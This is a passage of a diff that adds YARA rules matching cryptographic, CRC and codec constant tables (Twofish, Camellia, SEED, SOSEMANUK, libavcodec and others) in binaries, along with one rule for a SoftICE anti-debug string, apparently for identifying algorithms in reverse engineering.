362a0042481224081220362c00444814240a1222362e00464816260a1422382e02464a1626081420382c02444a142606141e382a02424a122806161e3a2a04424c12280816203a2c04444c14280a16223a2e04464c162a0a18223c2e06464e162a0818203c2c06444e142a06181e3c2a06424e122c061a1e3e2a084250122c081a203e2c084450142c0a1a223e2e084650162e0a1c22402e0a4652162e081c20402c0a4452142e061c1e402a0a42521230061e1e422a0c42541230081e20422c0c445414300a1e22422e0c465416320a2022442e0e46561632082020442c0e4456143206201e442a0e4256123406221e462a1042581234082220462c10445814340a2222462e10465816 }
+
+condition:
+	$a0
+}
+
+	
+rule Twofish_q__8_byt_512_
+{
+strings:
+	$a0 = { a967b3e804fda3769a928078e4ddd1380dc6359818f7ec6c43753726fa139448f2d08b308454df23195b3d59f3aea2826301832ed9519b7ca6eba5be160ce361c08c3af5732c250bbb4e896b536ab4f1e1e6bd45e2f4b666cc950356d41c1ed7fbc38eb5e9cfbfbaea7739af33c96271817909ad24cdf9d8e5c5b94d440886e7a11daaed0670b2d2417ba01131c2279020f660ff965cb1ab9e9c521b5f930aef918549ee2d4f8f3b47876d46d63e69642acecb2ffc97057aac7fd51a4b0ea75a28143f29883c4c02b8dab017551f8a7d57c78d74b7c49f727e152212580799346e50de6865bcdbf8c8a82b40dcfe32a4ca1021f0d35d0f006f9d36424a5ec1e075f3c6f4db7bfbc84ad3e66b457de84bd632d8fd3771f1e1300ff81b87fa063f5ebaae5b8a00bc9d6dc1b10e805dd2d5a0840714b5902ca3b2734c549274365138b0bd5afc6062966c42f7107c28278c13959cc724463b70cae385cb11d093b8a68320ff9f77c3cc036f08bf40e72be2790caa82413aeab9e49aa4977eda7a176694a11d3df0deb30b72a71cefd1533e8f33265fec762a498188ee21c41aebd9c53999cdad318b011823dd1f4e2df9484ff2658e785c58198de59857677f0564af63b6fef5b73ca5cee96844e04d4369292eac1559a80a9e6e47df34356acfdc22c9c09b89d4edab12a20d52bb022fa9d7611eb45004f6c2162586565509be91 }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_Jfif_CbGTable__32_big_1024_
+{
+strings:
+	$a0 = { FFD53AE7FFD59071FFD5E5FBFFD63B85FFD6910FFFD6E69AFFD73C24FFD791AEFFD7E738FFD83CC2FFD8924DFFD8E7D7FFD93D61FFD992EBFFD9E875FFDA3E00FFDA938AFFDAE914FFDB3E9EFFDB9428FFDBE9B3FFDC3F3DFFDC94C7FFDCEA51FFDD3FDBFFDD9565FFDDEAF0FFDE407AFFDE9604FFDEEB8EFFDF4118FFDF96A3FFDFEC2DFFE041B7FFE09741FFE0ECCBFFE14256FFE197E0FFE1ED6AFFE242F4FFE2987EFFE2EE09FFE34393FFE3991DFFE3EEA7FFE44431FFE499BCFFE4EF46FFE544D0FFE59A5AFFE5EFE4FFE6456FFFE69AF9FFE6F083FFE7460DFFE79B97FFE7F122FFE846ACFFE89C36FFE8F1C0FFE9474AFFE99CD5FFE9F25FFFEA47E9FFEA9D73FFEAF2FDFFEB4888FFEB9E12FFEBF39CFFEC4926FFEC9EB0FFECF43BFFED49C5FFED9F4FFFEDF4D9FFEE4A63FFEE9FEEFFEEF578FFEF4B02FFEFA08CFFEFF616FFF04BA1FFF0A12BFFF0F6B5FFF14C3FFFF1A1C9FFF1F754FFF24CDEFFF2A268FFF2F7F2FFF34D7CFFF3A307FFF3F891FFF44E1BFFF4A3A5FFF4F92FFFF54EBAFFF5A444FFF5F9CEFFF64F58FFF6A4E2FFF6FA6DFFF74FF7FFF7A581FFF7FB0BFFF85095FFF8A620FFF8FBAAFFF95134FFF9A6BEFFF9FC48FFFA51D3FFFAA75DFFFAFCE7FFFB5271FFFBA7FBFFFBFD86FFFC5310FFFCA89AFFFCFE24FFFD53AEFFFDA939FFFDFEC3FFFE544DFFFEA9D7FFFEFF61FFFF54ECFFFFAA76000000000000558A0000AB140001009F000156290001ABB30002013D000256C70002AC52000301DC000357660003ACF00004027A000458050004AD8F00050319000558A30005AE2D000603B8000659420006AECC00070456000759E00007AF6B000804F500085A7F0008B0090009059300095B1E0009B0A8000A0632000A5BBC000AB146000B06D1000B5C5B000BB1E5000C076F000C5CF9000CB284000D080E000D5D98000DB322000E08AC000E5E37000EB3C1000F094B000F5ED5000FB45F001009EA00105F740010B4FE00110A88001160120011B59D00120B27001260B10012B63B00130BC5001361500013B6DA00140C64001461EE0014B77800150D030015628D0015B81700160DA10016632B0016B8B600170E40001763CA0017B95400180EDE001864690018B9F300190F7D001965070019BA91001A101C001A65A6001ABB30001B10BA001B6644001BBBCF001C1159001C66E3001CBC6D001D11F7001D6782001DBD0C001E1296001E6820001EBDAA001F1335001F68BF001FBE49002013D30020695D0020BEE800211472002169FC0021BF860022151000226A9B0022C025002315AF00236B390023C0C30024164D00246BD80024C162002516EC00256C760025C2000026178B00266D150026C29F0027182900276DB30027C33E002818C800286E520028C3DC0029196600296EF10029C47B002A1A05002A6F8F }
+
+condition:
+	$a0
+}
+
+	
+rule ElGamal_public_key_encryption__32_lil_152_
+{
+strings:
+	$a0 = { 0002000077000000000300009100000000040000a500000000050000b700000000060000c600000000070000d400000000080000e100000000090000ed000000000a0000f9000000000b000003010000000c00000d010000000d000017010000000e000020010000000f0000280100000010000031010000001100003901000000120000400100000013000048010000001400004f010000 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Softice_____SIWVID__8_byt_STR_11_
+{
+strings:
+	$a0 = { 5c5c2e5c53495756494400 }
+
+condition:
+	$a0
+}
+
+	
+rule HAVAL_wi5__32_lil_128_
+{
+strings:
+	$a0 = { 1b00000003000000150000001a000000110000000b000000140000001d00000013000000000000000c000000070000000d000000080000001f0000000a00000005000000090000000e0000001e00000012000000060000001c00000018000000020000001700000010000000160000000400000001000000190000000f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0xf01__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000b5e18bc23e23f78442657c46c9a70f08bae984ca312bf88c4d6d734ec6af1e10abf195d22033e9945c756256d7b71118a4f99ada2f3be69c537d6d5ed8bf3c2089c1b7e20203cba47e454066f587332886c9b8ea0d0bc4ac714d4f6efa8f223097d1a9f21c13d5b460555e76eb972d3898d9a6fa131bdabc6f5d517ee49f7840cda1f38246638fc43a250406b1e77748c2a9fc8a496b80cc352d0b0ebeef6650d3b1ed92587391d424351a16aff76958dcb9e29a577b9edc2b3d151ea0ff4460f181cfa27a43b3e4060538268dc74b68fe89c0aa754bbcec090d372e82cf5a70ef91d1b26453adf41815263693d75578e099deba6b5ba2fc171d293e9cdff08045617b42cea30704b2e58cc63927ff884a69744ac1ab080cbded83ce362fee905b716552d0b31914acf592d62737e19854796a5adfbb161ca3fd9dde283fcca079414762f2833b248ec5b0e60507c3a87649486afd8b342c81cdbfee0a0fd2b067515972ec93253490d5aef61b17ddb86859567ae39b2a3c9fdda1fe141f88c03d210302b6e37f44caa5f486416787c832290c0ab9eb704cc5adfb8e4e6f96d023311d12a8f36154d4b5ea965f7799d82c39121aa7fb6e5cdbbde59e507fb4e001013f228ac34364f685c8a67d47bbe80e09302a85cb4c6cf98dc7ae724faaf01f11213294d35d74e895d6b66357a5f810192e3a9bdb527ce79dd9be6c5f }
+
+condition:
+	$a0
+}
+
+	
+rule MD5MAC__32_big_48_
+{
+strings:
+	$a0 = { ac45ef97cd430f29551b7e453411801c96ce77b17c8e722e0aab5a5f18be433621b4219d4db987bcbd279da2c3d75bc7 }
+
+condition:
+	$a0
+}
+
+	
+rule twofish_calc_sb_tbl__8_byt_512_
+{
+strings:
+	$a0 = { a97567f3b3c6e8f404dbfd7ba3fb76c89a4a92d380e6786be445dd7dd1e8384b0dd6c63235d898fd1837f771ecf16ce14330750f37f8261bfa8713fa9406483ff25ed0ba8bae305b848a5400dfbc239d196d5bc13db1590ef380ae5da2d282d563a0018483072e14d9b551909b2c7ca3a6b2eb73a54cbe5416920c74e3366151c0388cb03abdf55a73fc2c6025620b96bb6c4e4289f76b10537c6a28b427f18ce113e695bd9c45c7e224f446b63b6670ccca95e3038556cbd4111cd01e93d7b8fba6c3838e20b5ffe99fcf77bfc3baccea03776f3908afbf3340c9e7622b71e28179790c09aaad822441cd3af9ead8b9e5e4c59ab9a44d97447e08da867ae717a1661d94aaa1ed1d063d70f0b2ded2b3410b7b72a0a7111c31efc2d12753903e208ff6336026ff5f96ec5c76b12aab499e819c8852ee1b215fc4931a0aebefd991c585394999eecd2dad4f318f8b3b01471887236ddd461fd64e3e2d69f964482a4fcef2cb652f8efc78975c05587a19ac8d7fe5d5981a574b670e7fa7055a6428af14633fb629fe88f53cb74c3c02a5b8cedae9b068174455e01f4d8a437d695729c72e8dac7415b759c4a89f0a729e7e6e154722df12345835076a99cf34dc6e2250c9dec0689b6589bcd4dbedf8abc812a8a22b0d4052dcbbfe02322fa4a9cad71061211ef0b4d3505d040ff600c26f169d25368642564a555e09c1bee091 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpeg1_vlc__16_big_452_
+{
+strings:
+	$a0 = { 000300020004000400050005000600070026000800210008000a000a001d000c0018000c0013000c0010000c001a000d0019000d0018000d0017000d001f000e001e000e001d000e001c000e001b000e001a000e0019000e0018000e0017000e0016000e0015000e0014000e0013000e0012000e0011000e0010000e0018000f0017000f0016000f0015000f0014000f0013000f0012000f0011000f0010000f000300030006000600250008000c000a001b000c0016000d0015000d001f000f001e000f001d000f001c000f001b000f001a000f0019000f001300100012001000110010001000100005000400040007000b000a0014000c0014000d0007000500240008001c000c0013000d00060005000f000a0012000c000700060009000a0012000d00050006001e000c00140010000400060015000c000700070011000c000500070011000d002700080010000d00230008001a001000220008001900100020000800180010000e000a00170010000d000a001600100008000a00150010001f000c001a000c0019000c0017000c0016000c001f000d001e000d001d000d001c000d001b000d001f0010001e0010001d0010001c0010001b00100001000600020002 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ape_filter_orders__16_lil_30_
+{
+strings:
+	$a0 = { 000000000000100000000000400000000000200000010000100000010005 }
+
+condition:
+	$a0
+}
+
+	
+rule SOSEMANUK_mul_a__32_lil_1024_
+{
+strings:
+	$a0 = { 0000000013cf9fe12637976b35f8088a4c6e87d65fa118376a5910bd79968f5c98dca7058b1338e4beeb306ead24af8fd4b220d3c77dbf32f285b7b8e14a28599911e70a8ade78ebbf267061ace9ef80d57f60dcc6b0ff3df348f7b7e087685601cd400f1202dfee27fad764343548854da3c7d95e6c58386b9450b2785bcf539b22671488edf8f5bd15f07faeda6f9ed74ce0c2c4837f23f17b77a9e2b4e84803fec01110315ff025c9577a3606c89b4f9047c75c5fd82669a7d0ac7a684f4d0233801e11fc1fff2404177537cb88944e5d07c85d929829686a90a37ba50f429aef271b8920b8fabcd8b070af172f91d681a0cdc54e3f2cf0b637a6e379a8479f44ce288c8b51c9b9735943aabcc6a2d32a49fec0e5d61ff51dde95e6d241740798692d1457f6cc21affe46326061a74bf6eefb5839711a6dc179907e0ee67106552922159ab6c32062be4933ad21a84a3baef459f431156c0c399f7fc3a67e9e898e278d4611c6b8be194cab7186add2e709f1c1289610f4d09e9ae71f017b0466a93c17a936dd22513e57319ea1b648082eea5bc7b10b6e3fb9817df026609cba0e398f7591d8ba8d9952a94206b3d0d489efc31b160ef6e31e84e52c81659d774e368eb8d1d7bb40d95da88f46bcd119c9e0c2d65601f72e5e8be4e1c16a05abe933166476d2239c7e583053e1b949c56ee55a0af1046ff2f98e7c3d666f978835508447aab1b1bfa23ba2703ddadbe6b286c8292d67fdd125edee1eba0c0f5492551c9b0db42963053e3aac9adf433a158350f58a62650d82e876c21d090e99d25a1d564dbb28ae45313b61dad042f7558c5138ca6d64c0c2e7770f5d069645755f858aeabeb072e234a3bd7dd5da2bf289c9e46d68fc1c65e2efd3fa030caa52441f65cda52a9dc52f39525ace40c4d592530b4a7366f342f9753cdd189476f54187b96aa0b241622aa18efdcbd8187297cbd7ed76fe2fe5fcede07a1d95bbb54e86742aafb38c2225a043bdc4d9d53298ca1aad79ffe2a5f3ec2d3a120d67124b1ea88daa2b508520389f1ac14109959d52c60a7c673e02f674f19d1708ccfb781b0364992efb6c133d34f3f244a27cae576de34f6295ebc5715a742490105c7d83dfc39cb627cb16a5e854f7dc7edbabcfb1444afa494cc0e986d32191dd1c7282128393b7ea8b19a42514f8ddb39ba4ce7c0445fb840ccfe84b932e0901bb771ace24962f362c1c3cf9b3fd456f3ca156a0a3406358abca7097342b93ee9c6c8021038db5d90b07a61694e6df801bbacc4f845bf9b78cd1ea7813300b323b6918fda4882d05ac023eca33e3475cbcbf5493235e616b2bd472a4b4350aff7b661930e4872cc8ec0d3f0773ec4691fcb0555e635160a66bdb7369f43a9223dc6381ec4382b4144b08a7dbd4e9de4d5bb5cd82c454f87accdeebb5533f }
+
+condition:
+	$a0
+}
+
+	
+rule camellia_sp4404__32_lil_1024_
+{
+strings:
+	$a0 = { 700070702c002c2cb300b3b3c000c0c0e400e4e457005757ea00eaeaae00aeae230023236b006b6b45004545a500a5a5ed00eded4f004f4f1d001d1d9200929286008686af00afaf7c007c7c1f001f1f3e003e3edc00dcdc5e005e5e0b000b0ba600a6a639003939d500d5d55d005d5dd900d9d95a005a5a510051516c006c6c8b008b8b9a009a9afb00fbfbb000b0b0740074742b002b2bf000f0f084008484df00dfdfcb00cbcb34003434760076766d006d6da900a9a9d100d1d104000404140014143a003a3ade00dede11001111320032329c009c9c53005353f200f2f2fe00fefecf00cfcfc300c3c37a007a7a24002424e800e8e86000606069006969aa00aaaaa000a0a0a100a1a162006262540054541e001e1ee000e0e0640064641000101000000000a300a3a3750075758a008a8ae600e6e609000909dd00dddd8700878783008383cd00cdcd9000909073007373f600f6f69d009d9dbf00bfbf52005252d800d8d8c800c8c8c600c6c6810081816f006f6f1300131363006363e900e9e9a700a7a79f009f9fbc00bcbc29002929f900f9f92f002f2fb400b4b47800787806000606e700e7e771007171d400d4d4ab00abab880088888d008d8d72007272b900b9b9f800f8f8ac00acac360036362a002a2a3c003c3cf100f1f140004040d300d3d3bb00bbbb4300434315001515ad00adad770077778000808082008282ec00ecec27002727e500e5e585008585350035350c000c0c41004141ef00efef9300939319001919210021210e000e0e4e004e4e65006565bd00bdbdb800b8b88f008f8feb00ebebce00cece300030305f005f5fc500c5c51a001a1ae100e1e1ca00caca470047473d003d3d01000101d600d6d6560056564d004d4d0d000d0d66006666cc00cccc2d002d2d1200121220002020b100b1b1990099994c004c4cc200c2c27e007e7e05000505b700b7b73100313117001717d700d7d758005858610061611b001b1b1c001c1c0f000f0f16001616180018182200222244004444b200b2b2b500b5b59100919108000808a800a8a8fc00fcfc50005050d000d0d07d007d7d89008989970097975b005b5b95009595ff00ffffd200d2d2c400c4c448004848f700f7f7db00dbdb03000303da00dada3f003f3f940094945c005c5c020002024a004a4a3300333367006767f300f3f37f007f7fe200e2e29b009b9b26002626370037373b003b3b960096964b004b4bbe00bebe2e002e2e790079798c008c8c6e006e6e8e008e8ef500f5f5b600b6b6fd00fdfd59005959980098986a006a6a46004646ba00baba2500252542004242a200a2a2fa00fafa0700070755005555ee00eeee0a000a0a490049496800686838003838a400a4a4280028287b007b7bc900c9c9c100c1c1e300e3e3f400f4f4c700c7c79e009e9e }
+
+condition:
+	$a0
+}
+
+	
+rule seed_SS0__32_lil_1024_
+{
+strings:
+	$a0 = { a8a1892984818505d4d2c616d0d3c313545044141c110d1daca08c2c242105255c514d1d40434303181008181c120e1e50514111fcf0cc3cc8c2ca0a606343232820082844404404202000209c918d1de0e0c020e0e2c222c8c0c80814130717a4a185258c838f0f0003030378734b3bb8b38b3b10130313d0d2c212ece2ce2e707040308c808c0c3c330f3fa8a0882830320232dcd1cd1df4f2c63674704434ece0cc2c9491851508030b0b545347175c504c1c58534b1bbcb18d3d00010101242004241c100c1c707343339890881810100010ccc0cc0cf0f2c232d8d1c9192c200c2ce4e3c727707242328083830398938b1bd0d1c11184828606c8c1c9096060402050504010a0a38323e8e3cb2b0c010d0db4b286369c928e1e4c434f0fb4b3873758524a1ac4c2c60678704838a4a2862610120212aca38f2fd4d1c51560614121c0c3c303b4b0843440414101505242127c714d3d8c818d0d080008081c130f1f9891891900000000181109190400040450534313f4f3c737e0e1c121fcf1cd3d747246362c230f2f24230727b0b0803088838b0b0c020e0ea8a38b2ba0a282226c624e2e909383134c414d0d686149297c704c3c0801090908020a0abcb38f3fece3cf2ff0f3c333c4c1c5058483870714100414fcf2ce3e64604424dcd2ce1e2c220e2e48434b0b18120a1a040206062021012168634b2b6462462600020202f4f1c5359092821288828a0a0c000c0cb0b383337c724e3ed0d0c01078724a3a4443470794928616e4e1c5252422062680808000aca18d2ddcd3cf1fa0a181213030003034330737aca28e2e34320636141105152022022238300838f4f0c434a4a38727444145054c404c0c80818101e8e1c929848084049493871734310535c8c3cb0bccc2ce0e3c300c3c7071413110110111c4c3c7078881890974714535f8f3cb3bd8d2ca1af8f0c838949084145851491980828202c4c0c404fcf3cf3f484149093831093964634727c0c0c000ccc3cf0fd4d3c717b8b088380c030f0f8c828e0e4042420220230323909181116c604c2cd8d3cb1ba4a0842434300434f0f1c13148404808c0c2c2026c634f2f3c310d3d2c210d2d40404000bcb28e3e3c320e3ebcb08c3cc0c1c101a8a28a2ab8b28a3a4c424e0e5451451538330b3bdcd0cc1c686048287c734f3f9c908c1cd8d0c81848424a0a5452461674734737a0a08020ece1cd2d44424606b4b1853528230b2b64614525f8f2ca3ae0e3c323b8b18939b0b181319c938f1f5c524e1ef8f1c939e4e2c626b0b2823230310131e8e2ca2a6c614d2d5c534f1fe4e0c424f0f0c030ccc1cd0d888088081412061638320a3a58504818d4d0c41460624222282109290403070730330333e8e0c82818130b1b04010505787149399090801068624a2a28220a2a98928a1a }
+
+condition:
+	$a0
+}
+
+	
+rule G_711_u__to_A_law_conversions__80_82___8_byt_128_
+{
+strings:
+	$a0 = { 01010202030304040505060607070808090a0b0c0d0e0f101112131415161718191b1d1f2122232425262728292a2b2c2e303132333435363738393a3b3c3d3e404142434445464748494a4b4c4d4e4f5052535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f80 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_ac3_ungroup_3_in_5_bits_tab__8_byt_96_
+{
+strings:
+	$a0 = { 000000000001000002000100000101000102000200000201000202010000010001010002010100010101010102010200010201010202020000020001020002020100020101020102020200020201020202030000030001030002030100030101 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_Dallas_Maxim_poly_0x31__8_byt_refl_True_
+{
+strings:
+	$a0 = { 005ebce2613fdd83c29c7e20a3fd1f419dc3217ffca2401e5f01e3bd3e6082dc237d9fc1421cfea0e1bf5d0380de3c62bee0025cdf81633d7c22c09e1d43a1ff4618faa427799bc584da3866e5bb5907db856739bae406581947a5fb7826c49a653bd987045ab8e6a7f91b45c6987a24f8a6441a99c7257b3a6486d85b05e7b98cd2306eedb3510f4e10f2ac2f7193cd114fadf3702ecc92d38d6f31b2ec0e50aff1134dce90722c6d33d18f0c52b0ee326c8ed0530defb1f0ae4c1291cf2d73ca947628abf517490856b4ea6937d58b5709ebb536688ad495cb2977f4aa4816e9b7550b88d6346a2b7597c94a14f6a8742ac896154ba9f7b6e80a54d7896b35 }
+
+condition:
+	$a0
+}
+
+	
+rule Zip_Crypto__32_big_AND_
+{
+strings:
+	$a0 = { 08088405[0-20]12345678[0-20]23456789[0-20]34567890 }
+
+condition:
+	$a0
+}
+
+	
+rule Sharkbox_crypto_algorithm_Enc_cbox__64_lil_8192_
+{
+strings:
+	$a0 = { 65a3f3168f830d06f656ae5cee5788a6894d2c3c3516f5ebdc5be888be7421652179c186809a4e0da158facf337dba2730b537a204e1d98816e8fba455873b69a054b2261859c9daf36a33fb69e3c245f44e3e7bb81f6ea9f07eeb35148f57b7746f05320bf89a837a271fc75cf537aed537fffd388520a46fdb3cad741e9935d1072ab3941519ba7b2b572e77d1445343fe3f10dee5efe75b5ede41dc6f79a3e582c85f3c64f92c226d1948fdf6dbff0a78cfbbfb9d9433bdc8ced09d67157db19844029c225e5fce83c66247632312c5f7413097dac4dc44da32900f19430be2a6c5dfed9855c0b8f453771ad35f9efe36f1c04382fa9a2815d6f3066b4fcc0d5cc23b2a6138df96c9c0ede660cf43e0be55f8bbd0b3cf3485e2eca871e096c4fb09d9bcfeb7215516c4b48b62d48ec2d34cb046266830d31fba94c25dffb531b97f4b2fc5aa7541e6af3788ad09e8e9d2428d3d21b20edd57a061955052983ce5bd7005a492aad86b3dc612e4187b1d9c7cf6853edca78335e387ce8b61d8053c9da787b44ae32f31db73d797e320ad08701d3238f105638bb67f755bd21713d46603d233718a00000000000000006287fe965e7fa1ea096c177586f101c197c58804cd44bcbe4b9e608c73309ddbd72f6fda6ecdc6ab1c90341fae1aaf5a7e17ca89f0650eb04986f0ab25787bd47247405bf1204592884164d51e3286169a994a3fe7258461eef64f0decdd1ee2812d73a098c387d7effa07e4c7f96d1ffb0a6c67c436b079021890275648e60f9b9502d6cc01f79c7c0f5aaea62de8bf369d72cbfe3906994db625e589e842cab6bc49824ddef2b35e6243e65bdb3340b5a8914c30b26741ede297c391b18b106193265823133418f5427692933b1d54512611fa27f2ed90cc9b5645112bc51da834edbab58cbbe62c2503bdaafb76d229199e1a2d4f3c31010c48e92b2473fd15fc236a28ebae9b851da6ee3453bec96ccfe46309720cc72b010e3d7b07da3edf4f3046c318b497e1b21d1190f4c0326bebe9e3d88ea02bf81eb4a9b95a258bbaecc3504c9bb991c9a7cbe2969f8ffe6dc3ac8a22567f3a95dd18239b0c5ab1d43bb71413a15359e8de0a641605c1f3eceedf2aba95f8edb28c9ccce14ecbade696109141086cdefa06248eef12c3841f84ecd1d3763aa8275184ef7a42911ca770bfa6c9a5653645d67a79243d30f6c3df04596d021bcda938a5539ea8c81b75634ddb20dce97e584a068fa103ec51a4646768b4c9f0c42e3d939afcb390dd33a1ef6c798d4c7a541a8c5da046a7738e6921bce4ea59076ed774445f3aeac84ea2fd2bf484d738e79a58786a2c1f232a0d46d45023a9c3bfd05ef7cb2ff3725f6e0b0f70ff40bd40eae7dea3897a1532ada78552a93f877f1b8260db417d4d0430d54eac90391eaf10e03a6470170a998d92f19a49119337913a22d51d75648f656955cfce2afa56021c7af60e417cd623273345e9b556734b08b2da04366faa2c7d9de3c45de9254914c82c0a7713b4a4d9a51b9614bc19aca9b829aee5b9cbbf5bc5c0d769f169f379c48ec64624bcc48639b64366809ea99f714bb5bd7f46c2a2b75951a50424455c21072e04eef75ae6b5c573fb5bcab3132cebf31a0cb0940cebb7062da2f2667b1242c7b1b8a3406ae865355c2886097e20493f2b3b08605f9cadd5723c12d82eeaf9170277eac69a43404d27fc5c7ad3c10d93d54fc6e399feeab6512e3589aa058355936b8a59f4f2487a60198c71b19bb2a2bf08c0cbdc97106e8e3fa5682f819fed833959464e668a279fac9fa5d7986091ce82c1c7947e3b4afdc214f06b8303cfdd66265dcc065166e2e1da73ade144acfe749dbd47bf36d9288d5232c9345a9e7862570e5493dd2a3281a67cf74fe28116cb8239ab6ee5af1225e48e80b617408ad19cb10f561dfd5b701ab8717654c2704b39d920d78210d849cd971eac3a0fb6e0b7b0016b66fa814efc2e61e715ca1c953bc1b0f0d4583e46b9f81b9e31f72c637933c7092199a25cae1ca8d34f5464f7de4378afe83cc76a533e81dd71ba0b9f11ccf624847b97853ff165be78c80758fd22290e3eee6f6810c0becdaf5fe478bbe08bb967bfca6c06284569fad8df110b748752d0b9e7ceb380d425ca6ab85092f915a34af0f65d5a5296a8f74b0a5ec8ab830bbdbbfc03bedc161ee00b808fc7efd117c19222d3609f6eb1083747e50c508ad201454b2264afbbffa4a77efbe3aa8d36c6bc263dd967752f39c06b864cba6d0ca2cc31371bb4399f7fe603b6783f8fe00abdd1a168ff312da5e235d991edcd6d379c63afebcad2aa6b69540107240d80d1fcacec2075896fabbe3df0236151a1d6d2a80266b72bd8f2ef98f4777bddfc76940f71ac0438f4191c82f847ceea5e7275d6f942f277f9f5c19c1a90e185841cb81052502a59130cd69e6d0314d8ce7d6c95f23acdf819ff7c4dbb94d150cab028294c9881da18b16d626e8b55bc1b635e13e4705fd07ca768a39d3efd2d5753ec74a567bb6331d9cbeb09f172a3dc3fab244a7d0312478d099b423de9f5992e80e157cf8f8e8b6c4750ef93f55d4a61d485a08411ee071f77cd34870536c9621b58c60e481af5570dad2ddb7fe5086f888d896ae7a10af3aad3d6f912fc40927e567638d5683ea934abb45d769b2826b7a6b2767795155db07c8c1e88a438f8524955a24c22014e112fd5715398958c4cd060ff3ab92968a689672d294b5481df052fd00b625abf316a478d7df9729986ccf5d213f27de9798c4818a0e151028a96444a9228655814ee260f44521c7c29ded04faeb5c2dfa0a4c5488ab8420e5c0829ab203574c8e02e1480213b49b3e7f42a17e4b34d7ea34894ce30ba05a15b79e2ddfbe0f534d6b565558cdd64147f7d2d0bc2d1ad78f7fbeee76819f1d1fbb01e8dcd30ce453f07e6907eb6cccdd3ff2162a250a7cf4109df8af15eb7b1f51dc6c637c39dfadec7c5d3833c0729b78125cf7371161375e9a5b9261538bd7336dd93bb1ef9eea1bae834eb25f6f84c313bf85dfcd5c84b9d57281b68e7c28e59bb948770801a6ba0c83cec5c6ea3c98f1c74d307083f5a0af6a495933a359fce1aee2cab7a38509e7e366d46d06910e4b5d90226b9e36eea8cfde7f18aaddd52f97590cc1b8d749ab144c1e4b210ae64242958a3f470a0c9fcb1216ca0e6f688fac2ce05d12d66982ce5ee7ad740a76590d841edaa51407acb23d9b94aba79a255080779985b85be27bf59b052fb97bcba8c8efbddf71197a143fd8acbe4647e045e4e0cc96c8886c351751b28c3c722c42663b415dfef6dfb9742d8b53919e5013294809cbea8bb5c807044097b2c766f0cfebfd48c3de1ceb49b61ff8360475417329cbc4235936e53f3780e529bf74a63e19bb47d6f99981bcc2368ce0872a0cdf5123082293c2ba928e7fd0b8cbf93dcb82be686f82522796e73cf01497b7f0000000000000000db84459f72323f023f29f45b80bbcad50f3b17e1af4fa40704f9c64cd7b85fe93a93f904e52d057b54cf1677a651ed6a8f4b53e8d463d2680a811abecad96ba9abae84db9ad06a1d52b0b31de0b5670d2ce2aeab1536065295c4bb93a845308f6d994746600eadd892f8d5ea5c8f2aaffe2259bf8eaf17300e78dcf21d6134402bdec0d2e1fc1c7281338f1ac902e62882f6272fea70a3e1167157aff01b0329e8530e107eb414196f1f2460f1527856e117bc9b971f3a799c80091841ee1eefd2c0f7149b991162d4bf527edd7d9b0542be41d8564aee437be810e99015aef1b2e4c495c584cd33c4b1a0bb6b82124bdf7d83d3a58a60eb073c6e79f4ca1a206be6e22c26ea27bf71690a575accc558f1194e5e21e0b337d1055f21b8eb54ab02866326915cd58eb865de2b0f5da69ae4adb1c4f289f5d7f766eb3467043950ccb6d9233007ac6c602433815e1ddc51f6252027d52aa9170143cb13b22e904733d74b8f0c862b1b874c2a708fe66c4f9bbc6761b52404cff4a3430144767c99add121b1dc34e07af91e37c67a650d105d8ba4fc4ffac30af5e08812f658ecde9f45a12d629c5b262e64cd8d846ad3dc56497551370d38e4b5d8aaec314ed713be1a7b4149b92cfd7d97b583d6f12496960113a68b377546cac97c4976e3260b993a04472478d141597262b098429ce3403822fec7163bcdff6192ac3c8187771f35e52419b02d49aaed4fc828fefa5ad63931584c214e8bd77afa4bfe0fdecc68234a190598627635a8eee54a62a17c9e066a3ed0b2cb6188773d9120a9c8481cf04d113ac26880a7503b0f16ed8bd325a61c20fc9d283285ca49561ebab9c147044c8733dc21ed570abe428523a8a33daf977d11e71f5bac92eaa26e1a703dbc9c1867d8e5f973fb9854e0eb39d89ee62bd2e263d520594f03351f68599fca6e5cef73437ce811ead56d36efe8c197de3e48c017a4f0ac3012e3ba2ff46ed227207f066dc1fdbcfca43a991ff3c2bedac78e8cc01caf456960810ab7b6f231fadb9ff3591748d9c10bade40e14dde583b5ec3c585e33a6782db8dcb367eb3838159a227471d0f57e521db6f583615f8934f6829287580f6167f892ec334c164d855639f9054a448bb295a403db8d815cc86feffdd4534d4e40fe0cda770f8d5f0dc7dadea61684913d7ddf7ffd6f667aabdbfa223b3eb6372e8dc3db3e74f25831a9a32a6c0ca46cda8c55d2203d9ff2dce66b0292f6fe194a404e5f54a72e39565131c65f40b24bfaf353bfe1c0235036d03b71e9b2839879cf549656410664ddf5cd89a583b8a3a9fd43c155d43a3e6a3f4832955a924647879481f2b1aaaf5742974d6835f47cd47e9064dfb4d1ef6f60698a7e0e39eb96a6255dc651d0a12f9e65500901b4c5f26ba8d9ac820c9affac72070a9488a06c5576e22791f305ba0d5f6596cfae4cc69d2a4b2bda037716af3d1c284f3fbddfd3746acb6934ecaac85ca90c4bf0702ac144e8e2551fcb8ab75ac4cdb64c128891e327a35cc0315128a99ddafe95f39f2d78b0bc66b914f734896147d6a773ef6971cb9010d667185df8aad7c671d04694320ac5c4ec4ab938400dcf5064d5fc996d6f530b4224e5d7334eb3b875c90cd47c559163c2b61d02d9123c92da100ef2c5b6ff894e114d39d604d11909417be9ed7538ab8a9dc3c20bf3c08ea8ede9034f1b22dbb71db3860288ecf8c78e0898fb664d422f15b4ff9ad36946e0e05477882531aa3ee910c503cc9a845ec774088e48f05782b062a7b354d818bdae148984ff46a5b3201c117f990be79c3bd032175703953c1a8fe87b7c26e2e745822fa1a280f4630944b28be9ab2e60a613f01ca4c31b94067fa56a46e48a67229a7259085732125bf40196091e496da5d6582987b15e5dbae3bd0d9e017314c04866f7bc3a4da2c84f1f6fe7bff385860fe1633dc8fc08b3a70f8677aa5d7472aca26279be809113cb5af0958dcc877655642eae06df787f11d6a547adf1182a9d0bc153d28c351e762e37ab9ebd0ee391dfbd0643eff7f05a854d93ce2370a86b2ceeb9a22fd4665b96eb18f95636b75ec9caa